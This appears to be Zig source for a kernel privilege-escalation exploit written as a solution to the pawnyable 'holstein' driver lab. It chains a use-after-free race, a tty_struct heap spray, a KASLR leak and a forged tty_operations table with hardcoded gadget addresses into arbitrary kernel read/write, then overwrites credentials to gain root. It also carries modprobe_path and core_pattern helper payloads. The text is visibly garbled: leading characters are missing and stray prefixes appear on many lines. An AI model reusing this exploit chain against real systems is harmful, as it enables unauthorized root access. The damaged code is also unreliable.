(???) onst std = @import("std");
(PNG) ub const std_options = std.Options{
(???) .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
(???) .logFn = pawnyableLogger,
(???) ;
(PNG) ub fn pawnyableLogger(
(???) comptime level: std.log.Level,
(???) comptime _: @Type(.enum_literal),
(???) comptime format: []const u8,
(???) args: anytype,
(???) void {
(???) const prefix = "[" ++ comptime blk: {
(???) const level_text = level.asText();
(???) var buf: [level_text.len]u8 = undefined;
(???) break :blk std.ascii.upperString(&buf, level_text);
(???) } ++ "] ";
(???) std.debug.lockStdErr();
(???) defer std.debug.unlockStdErr();
(???) const stderr = std.io.getStdErr().writer();
(???) nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
(???)
(???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
(???) var bufLE: [len]u8 = undefined;
(???) inline for (0..len) |i| bufLE[i] = buf[len-1-i];
(???) return bufLE;
(???)
(???) ar __spinlock: bool = false;
nline fn spin() void {
(???) while (true) if (__spinlock) break;
(???)
(???) xport var user_cs: u64 = 0;
(???) xport var user_ss: u64 = 0;
(???) xport var user_rsp: u64 = 0;
(???) xport var user_rflags: u64 = 0;
(???) n saveState() callconv(.C) void {
(???) asm volatile (
(???) \\.intel_syntax noprefix
(???) \\mov user_cs, cs
(???) \\mov user_ss, ss
(???) \\.att_syntax
(???) );
(???)
(???) n whoami() void {
(???) std.log.info("You won!!", .{});
(???) const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
(???) const env = [_:null]?[*:0]u8{};
(???) switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
(???) else => unreachable,
(???) }
(???) unreachable;
(???)
(???) n modprobePath() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) const unknown = std.fs.cwd().createFile(
(???) "/tmp/unknown", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) unknown.writeAll(&[_]u8{0xff}**4) catch unreachable;
(???) unknown.close();
(???) std.posix.exit(0);
(???)
(???) n corePattern() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) switch (std.posix.fork() catch unreachable) {
(???) 0 => std.posix.abort(),
(???) else => |pid| _ = std.posix.waitpid(pid, 0),
(???) }
(???) const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
(???) std.log.err("Failed to open /tmp/whoisit", .{});
(???) std.posix.abort();
(???) };
(???) defer flag.close();
(???) std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
(???) std.posix.exit(0);
(???)
(???) n catchSigsegv(comptime handler: *const fn () void) void {
(???) const wrapper = struct { fn wrapper(_: i32) callconv(.C) void { handler(); } }.wrapper;
(???) const sigact = std.posix.Sigaction{
(???) .handler = .{ .handler = &wrapper },
(???) .mask = std.posix.empty_sigset,
(???) .flags = 0,
(???) };
(???) std.posix.sigaction(std.posix.SIG.SEGV, &sigact, null);
(???)
(???) onst pinThreadToCore = (struct {
(???) const pthread = @cImport({
(???) @cDefine("_GNU_SOURCE", {});
(???) @cInclude("pthread.h");
(???) });
(???) fn pinThreadToCore(thread: std.Thread.Handle, core: usize) !void {
(???) var cpu = std.bit_set.ArrayBitSet(usize, std.os.linux.CPU_SETSIZE*@sizeOf(usize)).initEmpty();
(???) cpu.set(core);
(???) const err = pthread.pthread_setaffinity_np(@ptrCast(thread), @sizeOf(std.posix.cpu_set_t), @ptrCast(&@as(std.posix.cpu_set_t, @bitCast(cpu.masks))));
(???) switch (@as(std.posix.E, @enumFromInt(err))) {
(???) .SUCCESS => return,
(???) .FAULT => unreachable,
(???) .INVAL => return error.InvalidArgument,
(???) .SRCH => return error.ProcessNotFound,
(???) else => |e| return std.posix.unexpectedErrno(e),
(???) }
(???) }
(???) ).pinThreadToCore;
(???) ar master_fd: ?std.posix.fd_t = null;
(???) n race_master(slave_sync: *std.Thread.ResetEvent, master_sync: *std.Thread.ResetEvent) void {
(???) while (true) {
(???) std.Thread.sleep(2);
(???) if (std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660)) |mfd| {
(???) slave_sync.wait();
(???) slave_sync.reset();
(???) if (slave_fd) |_| {
(???) master_fd = mfd;
(???) master_sync.set();
(???) break;
(???) }
(???) std.posix.close(mfd);
(???) } else |err| switch (err) {
(???) error.DeviceBusy => {
(???) slave_sync.wait();
(???) slave_sync.reset();
(???) },
(???) else => unreachable,
(???) }
(???) master_sync.set(); // resume execution of slave
(???) }
(???)
(???) ar slave_fd: ?std.posix.fd_t = null;
(???) n race_slave(slave_sync: *std.Thread.ResetEvent, master_sync: *std.Thread.ResetEvent) void {
(???) while (true) {
(???) std.Thread.sleep(2);
(???) if (std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660)) |sfd| {
(???) slave_fd = sfd;
(???) slave_sync.set();
(???) master_sync.wait(); // sleep and let master resume execution
(???) master_sync.reset();
(???) std.posix.close(sfd);
(???) slave_fd = null;
(???) if (master_fd) |_| break;
(???) } else |err| switch (err) {
(???) error.DeviceBusy => {
(???) slave_sync.set();
(???) master_sync.wait(); // sleep and let master resume execution
(???) master_sync.reset();
(???) },
(???) else => unreachable,
(???) }
(???) }
(???)
(???) n race() !std.posix.fd_t {
(???) std.debug.assert(try std.Thread.getCpuCount() > 1);
(???) var slave_sync = std.Thread.ResetEvent{};
(???) var master_sync = std.Thread.ResetEvent{};
(???) var t1 = try std.Thread.spawn(.{}, race_master, .{&slave_sync, &master_sync});
(???) var t2 = try std.Thread.spawn(.{}, race_slave, .{&slave_sync, &master_sync});
(???) try pinThreadToCore(t1.getHandle(), 0);
(???) try pinThreadToCore(t2.getHandle(), 1);
(???) t1.join();
(???) t2.join();
(???) std.log.info("Won the race", .{});
(???) defer master_fd = null;
(???) return master_fd.?;
(???)
(???) n spray(dangling_fd: std.posix.fd_t, tty_fd: *?std.posix.fd_t) void {
(???) var fds: [100]std.posix.fd_t = undefined;
(???) var i: usize = 0;
(???) defer for (0..i) |j| std.posix.close(fds[j]);
(???) while (i < fds.len) : (i += 1) {
(???) fds[i] = std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660) catch return;
(???) // check if dangling_fd point to a tty_struct
(???) var buf = [_]u8{0} ** @sizeOf(@FieldType(tty_struct, "magic"));
(???) _ = std.posix.read(dangling_fd, &buf) catch return;
(???) if (std.mem.eql(u8, &buf, std.mem.asBytes(&tty_struct{ .ops = undefined, .driver = undefined })[0..buf.len])) {
(???) tty_fd.* = fds[i];
(???) return;
(???) }
(???) }
(???)
(???) n getTty(fd: std.posix.fd_t) !std.posix.fd_t {
(???) return for (0..2) |cpu| {
(???) var ret: ?std.posix.fd_t = null;
(???) var t = try std.Thread.spawn(.{}, spray, .{fd, &ret});
(???) try pinThreadToCore(t.getHandle(), cpu);
(???) t.join();
(???) if (ret) |tty_fd| {
(???) std.log.info("Heap spray succeeded on core {d}", .{cpu});
(???) break tty_fd;
(???) } else {
(???) std.log.warn("Heap spray failed on core {d}, retrying on {d}...", .{cpu, cpu+1});
(???) }
(???) } else error.SprayFailed;
(???)
(???) / as of 5.10.7
(???) onst tty_struct = extern struct {
(???) const ld_semaphore = extern struct {
(???) const list_head = extern struct {
(???) next: usize = 0xdeadbeefdeadbeef,
(???) prev: usize = 0xcafebabecafebabe,
(???) };
(???) count: u64 = 0,
(???) wait_lock: i32 = 0,
(???) wait_readers: i32 = 0,
(???) read_wait: list_head = .{},
(???) write_wait: list_head = .{},
(???) };
(???) index: i32 = 0,
(???) ldisc_sem: ld_semaphore = .{},
(???) // don't care about the rest
(???) pub fn init(ops_table: usize) tty_struct {
(???) // ops_table must live on the heap
(???) return .{
(???) .driver = ops_table,
(???) .ops = ops_table,
(???) .ldisc_sem = .{
(???) .read_wait = .{ .next = ops_table, .prev = ops_table },
(???) .write_wait = .{ .next = ops_table, .prev = ops_table },
(???) },
(???) };
(???) }
(???) ;
(???) onst tty_operations = extern struct {
(???) close: usize = 0,
(???) shutdown: usize = 0,
(???) cleanup: usize = 0,
(???) write: usize = 0,
(???) put_char: usize = 0,
(???) flush_chars: usize = 0,
(???) write_room: usize = 0,
(???) chars_in_buffer: usize = 0,
(???) ioctl: usize,
(???) ;
(???) ar MOV_ADDROF_RDX_RCX: u64 = 0xffffffff811b72c6;
(???) ar MOV_EAX_ADDROF_RDX: u64 = 0xffffffff8145e3a8;
(???) ar aa_memoize: ?enum { read, write } = null;
(???) n aaw(fd: std.posix.fd_t, tty: std.posix.fd_t, g_buf_addr: u64, value: u32, address: u64) !void {
(???) switch (aa_memoize orelse .read) {
(???) .write => {},
(???) else => {
(???) _ = try std.posix.write(fd, std.mem.asBytes(&tty_struct.init(g_buf_addr + @sizeOf(tty_struct))) ++ std.mem.asBytes(&tty_operations{ .ioctl = MOV_ADDROF_RDX_RCX }));
(???) aa_memoize = .write;
(???) },
(???) }
(???) switch (std.posix.errno(std.os.linux.ioctl(tty, value, address))) {
(???) .SUCCESS => {},
(???) else => return error.AAWFail,
(???) }
(???)
(???) n aar(fd: std.posix.fd_t, tty: std.posix.fd_t, g_buf_addr: u64, address: u64) !u32 {
(???) switch (aa_memoize orelse .write) {
(???) .read => {},
(???) else => {
(???) _ = try std.posix.write(fd, std.mem.asBytes(&tty_struct.init(g_buf_addr + @sizeOf(tty_struct))) ++ std.mem.asBytes(&tty_operations{ .ioctl = MOV_EAX_ADDROF_RDX }));
(???) aa_memoize = .read;
(???) },
(???) }
(???) // we hijack the return value of ioctl, so we can't check it for errors
(???) return @intCast(0xffffffff & std.os.linux.ioctl(tty, 0xdeadbeef, address));
(???)
(???) n adjust_offsets(kaslr_offset: u64) void {
(???) const gadgets = &[_]*u64{
(???) &MOV_ADDROF_RDX_RCX,
(???) &MOV_EAX_ADDROF_RDX,
(???) };
(???) for (gadgets) |g| {
(???) g.* += kaslr_offset;
(???) }
(???)
(???) n leakKASLROffset(fd: std.posix.fd_t) !u64 {
(???) const ptmx_fops_addr: u64 = 0xffffffff81c3afe0;
(???) var buf: [@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
(???) _ = try std.posix.read(fd, &buf);
(???) const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
(???) return ret - ptmx_fops_addr;
(???)
(???) n leakHeap(fd: std.posix.fd_t) !u64 {
(???) const offset = comptime blk: {
(???) const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
(???) break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
(???) };
(???) var buf: [offset]u8 = undefined;
(???) _ = try std.posix.read(fd, &buf);
(???) const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
(???) return ret - (buf.len-8);
(???)
(PNG) ub fn main() !void {
(???) const fd = try race();
(???) const tty = try getTty(fd);
(???) const kaslr_offset = try leakKASLROffset(fd);
(???) std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset+0xffffffff81000000))), .lower)});
(???) adjust_offsets(kaslr_offset);
(???) const g_buf = try leakHeap(fd);
(???) _ = try std.posix.prctl(.SET_NAME, .{@intFromPtr("okamikun"), 0, 0, 0});
(???) var addr: usize = g_buf - 0x1000000;
(???) const creds = while (addr < g_buf + 0x1000000) : (addr += 0x8) {
(???) if ((addr & 0xfffff) == 0)
(???) std.debug.print("searching... 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&addr)), .lower)});
(???) if (std.mem.eql(u8, "okamikun", std.mem.sliceAsBytes(&[_]u32{try aar(fd, tty, g_buf, addr), try aar(fd, tty, g_buf, addr+0x4)}))) {
(???) // task_struct is huge, I ain't copying that!
(???) // just remember that `comm` comes immediately after `creds`.
(???) break std.mem.readInt(u64, @ptrCast(std.mem.sliceAsBytes(&[_]u32{try aar(fd, tty, g_buf, addr-0x8), try aar(fd, tty, g_buf, (addr-0x8)+0x4)})), .little);
(???) }
(???) } else return error.HeapScanFailed;
(???) std.log.info("task_struct.creds = 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&creds)), .lower)});
(???) for (&[_]u64{@offsetOf(cred, "uid"), @offsetOf(cred, "euid")}) |offset|
(???) try aaw(fd, tty, g_buf, 0, creds+offset);
(???) whoami();
(???)
(???) onst cred = extern struct {
(???) usage: u32,
(???) uid: u32,
(???) ;